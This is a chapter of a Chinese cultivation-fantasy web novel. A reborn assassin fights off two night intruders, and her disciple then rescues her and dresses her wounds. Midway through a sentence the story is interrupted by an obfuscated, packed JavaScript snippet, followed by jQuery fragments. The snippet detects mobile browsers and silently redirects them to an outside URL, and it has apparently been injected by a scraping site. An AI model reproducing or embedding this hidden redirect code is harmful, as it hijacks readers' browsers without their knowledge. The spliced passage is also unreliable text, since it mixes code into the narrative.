陈宝嫣提着步子朝着房门处踱去,手中的宝刀早已出鞘,此刻正握在手中纹丝不动。她用大拇指抚摸着刀柄处的纹理,耳朵竖起,警惕地听着门外的动静。


    她敢笃定门外有人,而且不止一个。


    于是她皱起鼻子轻嗅,空气中没有血腥气,但她向来精准的第六感疯狂示警她,危机近在咫尺。


    她放缓呼吸,尽可能地将自己隐匿在更深的阴影之中。


    木门毫无征兆地颤动了一下。


    紧接着,门被缓缓打开了一条缝隙。陈宝嫣眯起双眼,捕捉眼前的变化。


    只见一缕青色的柔光,宛如一条灵动的蛇悄然穿过门缝,将门轻轻推开,竟没有一丝声音。


    她动了下耳朵,这缕光束同今日那两瓶药上的灵力极为相似。


    然而,她又从中捕捉到了一丝微妙的不同。这缕青光之中,似乎多了些刺骨邪气,让人不寒而栗。


    两个身影悄无声息地迈进屋内,径直朝她的床铺处移动。


    借着朦胧月光,她得以窥见,那两人通身黑色,头发束起、面遮黑布,只露出那泛着寒光的眼睛。


    她心中不禁泛起疑惑,怎么一个两个都想杀她,这就是作为妖女的代价吗?


    陈宝嫣心里打着主意,将手中的刀换了一个更趁手的握姿。


    其中一道黑影将手中绳影猛地甩出,在空中划过一道弧线,将床上的褥子牢牢捆住,那绳索仿佛有自我意识般,竟还在被褥上不断蠕动。


    那两人对视一眼,默契地一手提着一头,准备遁窗而逃,却察觉到手中的重量似乎有些过轻了。


    什么情况?


    突然,黑衣人眼前寒光一闪,猛觉腹部一阵冰凉。他惊愕地瞪大眼睛,一掌灵力朝着眼前的黑影呼去,却听到自己的同伴发出一声痛苦的吟叫,直直地倒了下去。


    随之他感受到了一抹寒凉抵在了自己的脖子上,就在刀刃即将没入肉中的那一刻,他瞬间朝身后又是雷霆一掌送去。


    脖子上的凉意顿时散去,他向后一抓,却扑了个空。急急转身却发现,在他的对面,站着一个少女。


    那少女手中正握着刀,横在他同伴的脖颈间,隔着月影,冷漠地直视他。


    这怎么做到的?他大惊,这种速度和身法他从未见过。


    “老大,拿灵力轰她,她没有灵力,呃......”陈宝嫣手中的人质一语未毕,便被她瞬间划喉,一刀毙命。


    浓郁的血腥气在屋内弥散开来,缠绕着屋内两人,月色仿佛被笼罩在血衣之下,整个屋内杀机四伏。


    看着自己的同伴血溅当场,黑衣人手中迅速凝聚灵力,那灵力朦朦胧胧如轻纱般。


    陈宝嫣神色一变,在灵力袭来的下一秒,往右一闪堪堪躲过。可惜,还是被余波击中了刀刃,带着虎口一阵酸麻。


    黑衣人见状,攻势愈发猛烈,她不停躲闪着,脑子飞速想着破解之道。


    在兵荒马乱中,她的目光落在桌上摆着的瓷瓶上。心念一动,脚下步伐陡然加紧,长臂一揽,稳稳将瓷瓶抱入怀中。


    趁着青光再次直逼而来,她将瓷瓶朝着横冲直撞而来的绳索抛去。


    只听一声巨响,瓷器的破碎声如一记惊雷,冲破房屋传到了更远的地方。


    那青光绳索仿佛有温度般,让瓷瓶碎片在空中瞬间爆裂成齑粉,使得房中的场景愈发昏暗。


    陈宝嫣靠着各种瓷杯瓷碗拖延着时间。她心中清楚,刚才那冲天的爆破声,必定会传到有心人耳中。


    再不来救驾,她恐怕要殉在灵力之下了。


    随着时间的流逝,碎裂的瓷器不免划伤了两人,空气中的血腥味浓烈到让人近乎麻木。


    千钧一发之际,紧闭的房门轰然被掀开,一道剑气如寒霜般破局直入,卷入一阵新鲜气息,瞬间让陈宝嫣昏沉的大脑清醒了几分。


    那把剑上拢着浅金灵气,剑花一挽在暗夜中划出一道绚丽的轨迹,一招一式强如破风,直逼黑衣人心口而去。


    黑衣人见局势不妙,脚下步伐一转,顺走地上躺着的尸体翻窗遁走,逃之夭夭。


    来者见状,紧跟到窗前,那黑衣人却已无影无踪。


    他索性剑尖一挑,屋内烛灯瞬间燃起,照亮一片狼藉。李嘉阮将清歌剑收入剑鞘,轻置于梳妆台上,连忙跑去陈宝嫣处,查看她的情况。


    陈宝嫣直到屋内彻底明亮后,才将手中紧握着的刀扔到一旁,从袖中抽出绣帕,缓缓擦拭着虎口。


    与刀柄细纹长时间的挤压,原本就脆弱的虎口处,如今伤痕累累,密密麻麻的疼痛蔓延至整个手掌。


    她抬起头,看了眼匆匆跑来的李嘉阮,僵硬地勾勾嘴角,温声说道:“多谢李公子出手相救。”


    李嘉阮蹙眉,看着眼前的少女。单薄的中衣有不少地方被划破了,暴露在外的皮肤更是有不少红痕,渗着斑斑血珠。


    再看她无意识颤抖的手,指尖还泛着因用力过度而留下的血色。


    他眉头皱起却又舒展,随后给了她一个安抚的笑容,轻声道:“不必多礼,师父,我去给您打盆水,您先来这坐着。”


    说着,他从储物袋中取出一团似云的大蒲团,动作轻柔地将其放在带靠背的木凳上,目光转向不远处的陈宝嫣,示意她落座。


    这就是修仙人的储物袋吗,陈宝嫣一边想着一边缓缓坐下,整个人没入那团柔软的云中。


    她感受到了云团带着点温度,轻柔地包裹着她。于是仰头看向李嘉阮,眼睛微微弯起,一句“有劳了”语气平和,比往日多了些人情味。


    李嘉阮点点头,目光扫过她手臂处最严重的划痕,暗自庆幸不是灵器所伤,随后转身去了偏房打水。


    “刚才那个黑衣人是什么来头?”陈宝嫣敲了敲系统,凝眉问它。


    “不知道。”系统不知从何处冒了出来,如实回话道,“不过我听说这一带有很多拐子,专挑幼童妇女下手,手段阴毒。看刚才那俩人模样,到最后都没打算直接取你性命,大概就是这类人了。”


    “呵......”陈宝嫣脸色更加阴沉,冷笑道,“那人应是修仙之人吧,如此品行不端,门派竟也敢收入麾下?修仙人不是爱以博爱为怀自我标榜吗?”


    系统正准备随声附和,这时,李嘉阮从偏房打水回来了。


    他今晚格外沉默,虽然脸上依旧带着那份温柔笑意,但陈宝嫣直觉他有些不对。


    没有跟她商量,李嘉阮便从锦囊中拿出那方没用过的草白软帕。他将软帕浸入盆中的水里,轻轻叠好后,轻沾着她脸上应是刚才不小心溅到的血迹。


    陈宝嫣有些坐立难安,她虚虚抬手道:“我自己来吧。”


    李嘉阮没听她的话,垂眸看着她抬起的手,隔着衣物顺势一把持住她的手腕,另一只手将帕子放在水中轻轻荡着,洗去刚才沾染的血迹。


    单手拧干软帕后,他的动作愈发轻柔,仔细地擦拭着她虎口处的灰尘和血迹。


    伤口处甚至扎着些小碎片,已然被鲜血染得通红。


    李嘉阮皱了皱眉,眼神专注,小心地将碎片一片接一片地挑了出来。


    仔细擦拭一轮后,伤口处总算清理干净。他随即将软帕扔进盆中,另一只手探入锦囊摸索起来。


    今夜,李嘉阮闻声赶来,匆忙间竟连发也未束,只披在肩头。此刻长发柔顺地垂落在他胸前,恰似一帘乌缎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182456|165345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,倒让人想放在指尖缱绻缠绕。


    寻药时,他微微侧头,如云的发丝不经意间扫过陈宝嫣的指尖,再如羽毛般轻扫掌心。陈宝嫣下意识瑟缩了一下,忙移开视线,屏蔽掉那种异样的感觉。


    这,这算什么。


    可李嘉阮恍若不知般,自顾自从锦囊中取出一小罐药膏,单手将罐旋开后,用指腹在膏面上悠悠打转。


    膏体受到温暖指腹的指引,融化在他指尖,最后被他小心翼翼地涂抹在陈宝嫣的伤口处。


    这本应带着些热意的膏药,在接触到伤口的瞬间,有种直冲脑仁的凉意。就像薄荷糖在喉咙中化开,再深呼吸一口的透心凉。


    低温缓解了痛意,只留下丝丝缕缕的痒意。


    李嘉阮将药膏涂抹均匀,最后手中掐了诀,浅金灵力如网般地汇聚在一起,悠悠地落在伤口之上。


    陈宝嫣感觉气氛有些尴尬,她即便有些好奇,也不知为何始终开不了口。


    于是,她默默垂眸垂眸,在脑中敲系统小窗:“这什么?”


    “就是包扎一下,”系统也好奇瞅了一眼,忍不住吐槽道,“他的灵力颜色这么骚包。”


    ......陈宝嫣默默赞同,但没吱声。


    毕竟承了人家恩情,背后这般暗戳戳议论,总归不太好意思。


    她又不由自主地回想起方才的场景,回想起他挽的剑花和暗夜中的光影,回想着他的一招一式。


    李嘉阮忙活了半天,给她的伤口逐一上药。好在大多都是些浅伤,处理起来不算太过棘手。


    他不经常给人上药,这次伤口细碎,让他忙上忙下,心中因陈宝嫣逞强而生的怨气,也在这忙碌中渐渐消散。


    若是一开始她就摔瓶子或者喊他,她自己也根本不会受这么多小伤了啊。想到陈宝嫣没有灵力护体,他眉间又泛起一抹担忧。


    门派内的欺软怕硬,他再清楚不过了,若是她就这样进了门派,肯定会被他们欺负。


    他掐好最后一个诀,便低头看向陈宝嫣。她整个人陷落在云团中,垂眸思考着什么,明显一副神游天外的模样。


    算了,又不是我受伤,我跟她计较什么。李嘉阮在心底叹了口气。


    他悄悄从锦囊中拿出陈宝嫣退还的鎏金丹,藏在衣袖之中,对着眼前的少女柔声细语道:“师父,是不是被吓傻了?我给您斟水吧。”


    陈宝嫣点点头,心里却暗自反驳,怎么会吓傻呢,她若是被这点小事就轻易吓坏,上辈子的杀手岂不是白做了。


    她身上这些小伤,加起来还没有以前出任务时多。不过那时,受了伤、中了毒,都是自己敷药,或跌跌撞撞到医疗室请医生帮忙处理。


    像这样被人悉心照顾,还是头一遭,她一时竟有些无所适从。


    一杯清澈见底的水递到她面前,她忍不住在心里轻叹,李嘉阮无论是送的东西,还是用的东西,总能透露着精致,就连这一杯水也不例外。


    陈宝嫣便只当是带点效用的药水,便端起喝了。


    微妙的舒适感在体内化开,像是随着血液的流动,逐渐输送到体内每个角落。


    原本纷乱的思绪瞬间变得清晰有序,身上的酸涩之感也仿佛被一个温暖的拥抱驱散。而丹田之中,似乎有一股能量在悄然滋生。


    她的指尖泛着微弱的浅金灵力,此时如空中微尘般缠绕于此。


    “过来吧师父。”远处,李嘉阮的声音如山涧清泉般,悠悠淌入她的耳朵。


    她转头望去,脑子嗡的一声炸开。


    李嘉阮一身中衣坐在偏塌上,笑着招呼她过去,右手还轻轻拍着床铺,一副请君采撷的模样。


    搞,搞什么。